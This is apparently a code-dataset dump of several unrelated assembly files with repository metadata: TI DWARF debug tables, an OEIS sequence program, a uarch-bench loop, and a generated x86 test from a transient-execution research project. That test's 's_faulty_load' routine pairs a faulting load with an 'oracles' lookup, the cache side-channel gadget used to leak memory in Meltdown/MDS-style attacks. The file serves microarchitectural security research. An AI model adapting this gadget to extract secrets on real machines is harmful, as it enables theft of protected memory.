.dwattr $C$DW$T$45, DW_AT_name("signed char") .dwattr $C$DW$T$45, DW_AT_byte_size(0x01) $C$DW$170 .dwtag DW_TAG_TI_far_type .dwattr $C$DW$170, DW_AT_type(*$C$DW$T$45) $C$DW$T$46 .dwtag DW_TAG_const_type .dwattr $C$DW$T$46, DW_AT_type(*$C$DW$170) $C$DW$T$47 .dwtag DW_TAG_pointer_type .dwattr $C$DW$T$47, DW_AT_type(*$C$DW$T$46) .dwattr $C$DW$T$47, DW_AT_address_class(0x17) $C$DW$171 .dwtag DW_TAG_TI_far_type .dwattr $C$DW$171, DW_AT_type(*$C$DW$T$47) $C$DW$T$54 .dwtag DW_TAG_const_type .dwattr $C$DW$T$54, DW_AT_type(*$C$DW$171) $C$DW$T$20 .dwtag DW_TAG_structure_type .dwattr $C$DW$T$20, DW_AT_name("tskTaskControlBlock") .dwattr $C$DW$T$20, DW_AT_declaration .dwendtag $C$DW$T$20 $C$DW$T$38 .dwtag DW_TAG_pointer_type .dwattr $C$DW$T$38, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$T$38, DW_AT_address_class(0x17) $C$DW$T$39 .dwtag DW_TAG_typedef, DW_AT_name("TaskHandle_t") .dwattr $C$DW$T$39, DW_AT_type(*$C$DW$T$38) .dwattr $C$DW$T$39, DW_AT_language(DW_LANG_C) $C$DW$T$57 .dwtag DW_TAG_pointer_type .dwattr $C$DW$T$57, DW_AT_type(*$C$DW$T$39) .dwattr $C$DW$T$57, DW_AT_address_class(0x17) $C$DW$172 .dwtag DW_TAG_TI_far_type .dwattr $C$DW$172, DW_AT_type(*$C$DW$T$57) $C$DW$T$58 .dwtag DW_TAG_const_type .dwattr $C$DW$T$58, DW_AT_type(*$C$DW$172) .dwattr $C$DW$CU, DW_AT_language(DW_LANG_C) ;*************************************************************** ;* DWARF CIE ENTRIES * ;*************************************************************** $C$DW$CIE .dwcie 91 .dwcfi cfa_register, 36 .dwcfi cfa_offset, 0 .dwcfi undefined, 0 .dwcfi undefined, 1 .dwcfi undefined, 2 .dwcfi undefined, 3 .dwcfi undefined, 4 .dwcfi undefined, 5 .dwcfi undefined, 6 .dwcfi undefined, 7 .dwcfi undefined, 8 .dwcfi undefined, 9 .dwcfi undefined, 10 .dwcfi undefined, 11 .dwcfi undefined, 12 .dwcfi undefined, 13 .dwcfi same_value, 14 .dwcfi same_value, 15 .dwcfi undefined, 16 .dwcfi undefined, 17 .dwcfi undefined, 18 .dwcfi undefined, 19 .dwcfi undefined, 20 .dwcfi undefined, 21 .dwcfi undefined, 22 .dwcfi undefined, 23 .dwcfi undefined, 24 .dwcfi undefined, 25 .dwcfi same_value, 26 .dwcfi same_value, 27 .dwcfi same_value, 28 .dwcfi same_value, 29 .dwcfi same_value, 30 .dwcfi same_value, 31 .dwcfi undefined, 32 .dwcfi undefined, 33 .dwcfi undefined, 34 .dwcfi undefined, 35 .dwcfi undefined, 36 .dwcfi undefined, 37 .dwcfi undefined, 38 .dwcfi undefined, 39 .dwcfi undefined, 40 .dwcfi undefined, 41 .dwcfi undefined, 42 .dwcfi undefined, 43 .dwcfi undefined, 44 .dwcfi undefined, 45 .dwcfi undefined, 46 .dwcfi undefined, 47 .dwcfi undefined, 48 .dwcfi undefined, 49 .dwcfi undefined, 50 .dwcfi undefined, 51 .dwcfi undefined, 52 .dwcfi undefined, 53 .dwcfi undefined, 54 .dwcfi undefined, 55 .dwcfi undefined, 56 .dwcfi undefined, 57 .dwcfi undefined, 58 .dwcfi undefined, 59 .dwcfi undefined, 60 .dwcfi undefined, 61 .dwcfi undefined, 62 .dwcfi undefined, 63 .dwcfi undefined, 64 .dwcfi undefined, 65 .dwcfi undefined, 66 .dwcfi undefined, 67 .dwcfi undefined, 68 .dwcfi undefined, 69 .dwcfi undefined, 70 .dwcfi undefined, 71 .dwcfi undefined, 72 .dwcfi undefined, 73 .dwcfi undefined, 74 .dwcfi undefined, 75 .dwcfi undefined, 76 .dwcfi undefined, 77 .dwcfi undefined, 78 .dwcfi undefined, 79 .dwcfi undefined, 80 .dwcfi undefined, 81 .dwcfi undefined, 82 .dwcfi undefined, 83 .dwcfi undefined, 84 .dwcfi undefined, 85 .dwcfi undefined, 86 .dwcfi undefined, 87 .dwcfi undefined, 88 .dwcfi undefined, 89 .dwcfi undefined, 90 .dwcfi undefined, 91 .dwendentry ;*************************************************************** ;* DWARF REGISTER MAP * ;*************************************************************** $C$DW$173 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC0") .dwattr $C$DW$173, DW_AT_location[DW_OP_reg0] $C$DW$174 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC0") .dwattr $C$DW$174, DW_AT_location[DW_OP_reg1] $C$DW$175 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC0_G") .dwattr $C$DW$175, DW_AT_location[DW_OP_reg2] $C$DW$176 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC1") .dwattr $C$DW$176, DW_AT_location[DW_OP_reg3] $C$DW$177 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC1") .dwattr $C$DW$177, DW_AT_location[DW_OP_reg4] $C$DW$178 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC1_G") .dwattr $C$DW$178, DW_AT_location[DW_OP_reg5] $C$DW$179 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC2") .dwattr $C$DW$179, DW_AT_location[DW_OP_reg6] $C$DW$180 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC2") .dwattr $C$DW$180, DW_AT_location[DW_OP_reg7] $C$DW$181 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC2_G") .dwattr $C$DW$181, DW_AT_location[DW_OP_reg8] $C$DW$182 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC3") .dwattr $C$DW$182, DW_AT_location[DW_OP_reg9] $C$DW$183 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC3") .dwattr $C$DW$183, DW_AT_location[DW_OP_reg10] $C$DW$184 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC3_G") .dwattr $C$DW$184, DW_AT_location[DW_OP_reg11] $C$DW$185 .dwtag DW_TAG_TI_assign_register, DW_AT_name("T0") .dwattr $C$DW$185, DW_AT_location[DW_OP_reg12] $C$DW$186 .dwtag DW_TAG_TI_assign_register, DW_AT_name("T1") .dwattr $C$DW$186, DW_AT_location[DW_OP_reg13] $C$DW$187 .dwtag DW_TAG_TI_assign_register, DW_AT_name("T2") .dwattr $C$DW$187, DW_AT_location[DW_OP_reg14] $C$DW$188 .dwtag DW_TAG_TI_assign_register, DW_AT_name("T3") .dwattr $C$DW$188, DW_AT_location[DW_OP_reg15] $C$DW$189 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR0") .dwattr $C$DW$189, DW_AT_location[DW_OP_reg16] $C$DW$190 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR0") .dwattr $C$DW$190, DW_AT_location[DW_OP_reg17] $C$DW$191 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR1") .dwattr $C$DW$191, DW_AT_location[DW_OP_reg18] $C$DW$192 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR1") .dwattr $C$DW$192, DW_AT_location[DW_OP_reg19] $C$DW$193 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR2") .dwattr $C$DW$193, DW_AT_location[DW_OP_reg20] $C$DW$194 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR2") .dwattr $C$DW$194, DW_AT_location[DW_OP_reg21] $C$DW$195 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR3") .dwattr $C$DW$195, DW_AT_location[DW_OP_reg22] $C$DW$196 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR3") .dwattr $C$DW$196, DW_AT_location[DW_OP_reg23] $C$DW$197 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR4") .dwattr $C$DW$197, DW_AT_location[DW_OP_reg24] $C$DW$198 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR4") .dwattr $C$DW$198, DW_AT_location[DW_OP_reg25] $C$DW$199 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR5") .dwattr $C$DW$199, DW_AT_location[DW_OP_reg26] $C$DW$200 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR5") .dwattr $C$DW$200, DW_AT_location[DW_OP_reg27] $C$DW$201 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR6") .dwattr $C$DW$201, DW_AT_location[DW_OP_reg28] $C$DW$202 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR6") .dwattr $C$DW$202, DW_AT_location[DW_OP_reg29] $C$DW$203 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR7") .dwattr $C$DW$203, DW_AT_location[DW_OP_reg30] $C$DW$204 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR7") .dwattr $C$DW$204, DW_AT_location[DW_OP_reg31] $C$DW$205 .dwtag DW_TAG_TI_assign_register, DW_AT_name("FP") .dwattr $C$DW$205, DW_AT_location[DW_OP_regx 0x20] $C$DW$206 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XFP") .dwattr $C$DW$206, DW_AT_location[DW_OP_regx 0x21] $C$DW$207 .dwtag DW_TAG_TI_assign_register, DW_AT_name("PC") .dwattr $C$DW$207, DW_AT_location[DW_OP_regx 0x22] $C$DW$208 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SP") .dwattr $C$DW$208, DW_AT_location[DW_OP_regx 0x23] $C$DW$209 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XSP") .dwattr $C$DW$209, DW_AT_location[DW_OP_regx 0x24] $C$DW$210 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BKC") .dwattr $C$DW$210, DW_AT_location[DW_OP_regx 0x25] $C$DW$211 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BK03") .dwattr $C$DW$211, DW_AT_location[DW_OP_regx 0x26] $C$DW$212 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BK47") .dwattr $C$DW$212, DW_AT_location[DW_OP_regx 0x27] $C$DW$213 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ST0") .dwattr $C$DW$213, DW_AT_location[DW_OP_regx 0x28] $C$DW$214 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ST1") .dwattr $C$DW$214, DW_AT_location[DW_OP_regx 0x29] $C$DW$215 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ST2") .dwattr $C$DW$215, DW_AT_location[DW_OP_regx 0x2a] $C$DW$216 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ST3") .dwattr $C$DW$216, DW_AT_location[DW_OP_regx 0x2b] $C$DW$217 .dwtag DW_TAG_TI_assign_register, DW_AT_name("MDP") .dwattr $C$DW$217, DW_AT_location[DW_OP_regx 0x2c] $C$DW$218 .dwtag DW_TAG_TI_assign_register, DW_AT_name("MDP05") .dwattr $C$DW$218, DW_AT_location[DW_OP_regx 0x2d] $C$DW$219 .dwtag DW_TAG_TI_assign_register, DW_AT_name("MDP67") .dwattr $C$DW$219, DW_AT_location[DW_OP_regx 0x2e] $C$DW$220 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BRC0") .dwattr $C$DW$220, DW_AT_location[DW_OP_regx 0x2f] $C$DW$221 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RSA0") .dwattr $C$DW$221, DW_AT_location[DW_OP_regx 0x30] $C$DW$222 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RSA0_H") .dwattr $C$DW$222, DW_AT_location[DW_OP_regx 0x31] $C$DW$223 .dwtag DW_TAG_TI_assign_register, DW_AT_name("REA0") .dwattr $C$DW$223, DW_AT_location[DW_OP_regx 0x32] $C$DW$224 .dwtag DW_TAG_TI_assign_register, DW_AT_name("REA0_H") .dwattr $C$DW$224, DW_AT_location[DW_OP_regx 0x33] $C$DW$225 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BRS1") .dwattr $C$DW$225, DW_AT_location[DW_OP_regx 0x34] $C$DW$226 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BRC1") .dwattr $C$DW$226, DW_AT_location[DW_OP_regx 0x35] $C$DW$227 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RSA1") .dwattr $C$DW$227, DW_AT_location[DW_OP_regx 0x36] $C$DW$228 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RSA1_H") .dwattr $C$DW$228, DW_AT_location[DW_OP_regx 0x37] $C$DW$229 .dwtag DW_TAG_TI_assign_register, DW_AT_name("REA1") .dwattr $C$DW$229, DW_AT_location[DW_OP_regx 0x38] $C$DW$230 .dwtag DW_TAG_TI_assign_register, DW_AT_name("REA1_H") .dwattr $C$DW$230, DW_AT_location[DW_OP_regx 0x39] $C$DW$231 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CSR") .dwattr $C$DW$231, DW_AT_location[DW_OP_regx 0x3a] $C$DW$232 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RPTC") .dwattr $C$DW$232, DW_AT_location[DW_OP_regx 0x3b] $C$DW$233 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CDP") .dwattr $C$DW$233, DW_AT_location[DW_OP_regx 0x3c] $C$DW$234 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XCDP") .dwattr $C$DW$234, DW_AT_location[DW_OP_regx 0x3d] $C$DW$235 .dwtag DW_TAG_TI_assign_register, DW_AT_name("TRN0") .dwattr $C$DW$235, DW_AT_location[DW_OP_regx 0x3e] $C$DW$236 .dwtag DW_TAG_TI_assign_register, DW_AT_name("TRN1") .dwattr $C$DW$236, DW_AT_location[DW_OP_regx 0x3f] $C$DW$237 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSA01") .dwattr $C$DW$237, DW_AT_location[DW_OP_regx 0x40] $C$DW$238 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSA23") .dwattr $C$DW$238, DW_AT_location[DW_OP_regx 0x41] $C$DW$239 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSA45") .dwattr $C$DW$239, DW_AT_location[DW_OP_regx 0x42] $C$DW$240 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSA67") .dwattr $C$DW$240, DW_AT_location[DW_OP_regx 0x43] $C$DW$241 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSAC") .dwattr $C$DW$241, DW_AT_location[DW_OP_regx 0x44] $C$DW$242 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CARRY") .dwattr $C$DW$242, DW_AT_location[DW_OP_regx 0x45] $C$DW$243 .dwtag DW_TAG_TI_assign_register, DW_AT_name("TC1") .dwattr $C$DW$243, DW_AT_location[DW_OP_regx 0x46] $C$DW$244 .dwtag DW_TAG_TI_assign_register, DW_AT_name("TC2") .dwattr $C$DW$244, DW_AT_location[DW_OP_regx 0x47] $C$DW$245 .dwtag DW_TAG_TI_assign_register, DW_AT_name("M40") .dwattr $C$DW$245, DW_AT_location[DW_OP_regx 0x48] $C$DW$246 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SXMD") .dwattr $C$DW$246, DW_AT_location[DW_OP_regx 0x49] $C$DW$247 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ARMS") .dwattr $C$DW$247, DW_AT_location[DW_OP_regx 0x4a] $C$DW$248 .dwtag DW_TAG_TI_assign_register, DW_AT_name("C54CM") .dwattr $C$DW$248, DW_AT_location[DW_OP_regx 0x4b] $C$DW$249 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SATA") .dwattr $C$DW$249, DW_AT_location[DW_OP_regx 0x4c] $C$DW$250 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SATD") .dwattr $C$DW$250, DW_AT_location[DW_OP_regx 0x4d] $C$DW$251 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RDM") .dwattr $C$DW$251, DW_AT_location[DW_OP_regx 0x4e] $C$DW$252 .dwtag DW_TAG_TI_assign_register, DW_AT_name("FRCT") .dwattr $C$DW$252, DW_AT_location[DW_OP_regx 0x4f] $C$DW$253 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SMUL") .dwattr $C$DW$253, DW_AT_location[DW_OP_regx 0x50] $C$DW$254 .dwtag DW_TAG_TI_assign_register, DW_AT_name("INTM") .dwattr $C$DW$254, DW_AT_location[DW_OP_regx 0x51] $C$DW$255 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR0LC") .dwattr $C$DW$255, DW_AT_location[DW_OP_regx 0x52] $C$DW$256 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR1LC") .dwattr $C$DW$256, DW_AT_location[DW_OP_regx 0x53] $C$DW$257 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR2LC") .dwattr $C$DW$257, DW_AT_location[DW_OP_regx 0x54] $C$DW$258 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR3LC") .dwattr $C$DW$258, DW_AT_location[DW_OP_regx 0x55] $C$DW$259 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR4LC") .dwattr $C$DW$259, DW_AT_location[DW_OP_regx 0x56] $C$DW$260 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR5LC") .dwattr $C$DW$260, DW_AT_location[DW_OP_regx 0x57] $C$DW$261 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR6LC") .dwattr $C$DW$261, DW_AT_location[DW_OP_regx 0x58] $C$DW$262 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR7LC") .dwattr $C$DW$262, DW_AT_location[DW_OP_regx 0x59] $C$DW$263 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CDPLC") .dwattr $C$DW$263, DW_AT_location[DW_OP_regx 0x5a] $C$DW$264 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CIE_RETA") .dwattr $C$DW$264, DW_AT_location[DW_OP_regx 0x5b] .dwendtag $C$DW$CU
44.523301
134
0.641979
413e3f71f8170d7ab0a35e1f9874a88645f04655
847
asm
Assembly
programs/oeis/158/A158410.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/158/A158410.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/158/A158410.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A158410: 961n^2 - 2n. ; 959,3840,8643,15368,24015,34584,47075,61488,77823,96080,116259,138360,162383,188328,216195,245984,277695,311328,346883,384360,423759,465080,508323,553488,600575,649584,700515,753368,808143,864840,923459,984000,1046463,1110848,1177155,1245384,1315535,1387608,1461603,1537520,1615359,1695120,1776803,1860408,1945935,2033384,2122755,2214048,2307263,2402400,2499459,2598440,2699343,2802168,2906915,3013584,3122175,3232688,3345123,3459480,3575759,3693960,3814083,3936128,4060095,4185984,4313795,4443528,4575183,4708760,4844259,4981680,5121023,5262288,5405475,5550584,5697615,5846568,5997443,6150240,6304959,6461600,6620163,6780648,6943055,7107384,7273635,7441808,7611903,7783920,7957859,8133720,8311503,8491208,8672835,8856384,9041855,9229248,9418563,9609800 mov $1,$0 add $0,1 mul $0,31 pow $0,2 mul $1,2 sub $0,$1 sub $0,2
77
755
0.831169
93780049e3d1a99e687bbfe7fd4c6368feee2de5
6,576
asm
Assembly
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0x48_notsx.log_21829_781.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0x48_notsx.log_21829_781.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0x48_notsx.log_21829_781.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r14 push %rax push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0xaa96, %rax nop nop nop cmp $28442, %r14 mov $0x6162636465666768, %r11 movq %r11, %xmm4 vmovups %ymm4, (%rax) nop nop nop nop nop xor %rbp, %rbp lea addresses_WC_ht+0xbe16, %rbx nop nop nop nop sub %rdx, %rdx mov $0x6162636465666768, %rsi movq %rsi, (%rbx) nop nop nop nop inc %r14 lea addresses_normal_ht+0xb016, %rsi lea addresses_normal_ht+0xd99d, %rdi nop nop nop cmp $57626, %r11 mov $86, %rcx rep movsl sub %rsi, %rsi lea addresses_D_ht+0xd6f6, %rsi lea addresses_WC_ht+0x1d96, %rdi nop nop nop nop nop xor %r11, %r11 mov $69, %rcx rep movsl nop nop xor %rdx, %rdx lea addresses_WC_ht+0x15c16, %rsi lea addresses_A_ht+0x3c16, %rdi nop nop xor $9202, %rbp mov $13, %rcx rep movsq sub $22817, %r11 lea addresses_UC_ht+0x7016, %rcx nop nop nop nop and $43017, %rax movb $0x61, (%rcx) nop nop nop nop nop and $24721, %r14 lea addresses_WT_ht+0x2c96, %rbp nop nop and $47281, %rsi mov (%rbp), %r14d nop nop nop add %rcx, %rcx lea addresses_WT_ht+0x846, %r11 nop cmp $24268, %rdi movb $0x61, (%r11) nop nop nop sub $53802, %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r14 pop %r11 ret .global s_faulty_load s_faulty_load: push %r14 push %r8 push %r9 push %rax push %rcx push %rdi push %rdx push %rsi // Load lea addresses_UC+0x1dc16, %rsi nop add %r9, %r9 mov (%rsi), %r14d // Exception!!! nop nop nop nop nop mov (0), %r8 nop sub %r9, %r9 // REPMOV lea addresses_UC+0x170f6, %rsi lea addresses_UC+0x1e506, %rdi nop nop nop sub $3271, %r9 mov $19, %rcx rep movsw nop add %rdx, %rdx // Faulty Load mov $0xd54340000000416, %r14 nop nop cmp $57862, %r9 movb (%r14), %dl lea oracles, %rsi and $0xff, %rdx shlq $12, %rdx mov (%rsi,%rdx,1), %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r9 pop %r8 pop %r14 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_NC', 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_UC', 'congruent': 10}} {'dst': {'same': False, 'congruent': 3, 'type': 'addresses_UC'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_UC'}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_NC', 'congruent': 0}} <gen_prepare_buffer> {'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_UC_ht', 'congruent': 5}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WC_ht', 'congruent': 8}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 0, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_normal_ht'}} {'dst': {'same': False, 'congruent': 6, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}} {'dst': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_WC_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_UC_ht', 'congruent': 7}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WT_ht', 'congruent': 5}} {'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT_ht', 'congruent': 4}, 'OP': 'STOR'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
34.793651
2,999
0.657695
8552bc08338bf20f35cff1542b9a995d7860ff52
169
asm
Assembly
_posts/code/Tools_for_microarchitectural_benchmarking/uarch-bench/bench.asm
dendibakh/dendibakh.github.io
54a53957a7708c3768a4b7a6c8cc54d6c43ac8b0
[ "CC-BY-4.0" ]
45
2017-11-03T14:52:59.000Z
2022-02-10T16:00:06.000Z
_drafts/microbenchmarking_tools/uarch-bench/bench.asm
dendibakh/dendibakh.github.io
54a53957a7708c3768a4b7a6c8cc54d6c43ac8b0
[ "CC-BY-4.0" ]
3
2021-02-01T09:24:50.000Z
2021-07-17T08:10:54.000Z
_drafts/microbenchmarking_tools/uarch-bench/bench.asm
dendibakh/dendibakh.github.io
54a53957a7708c3768a4b7a6c8cc54d6c43ac8b0
[ "CC-BY-4.0" ]
14
2018-03-22T14:05:15.000Z
2021-08-23T07:06:31.000Z
define_bench PortContention push rcx push rbx ALIGN 16 .loop: mov eax, DWORD [esi] mov eax, DWORD [esi + 4] bswap ebx bswap ecx dec edi jnz .loop pop rbx pop rcx ret
9.941176
27
0.733728
bf711ce5eb351e5011d5419a5838d375d8711f53
1,403
asm
Assembly
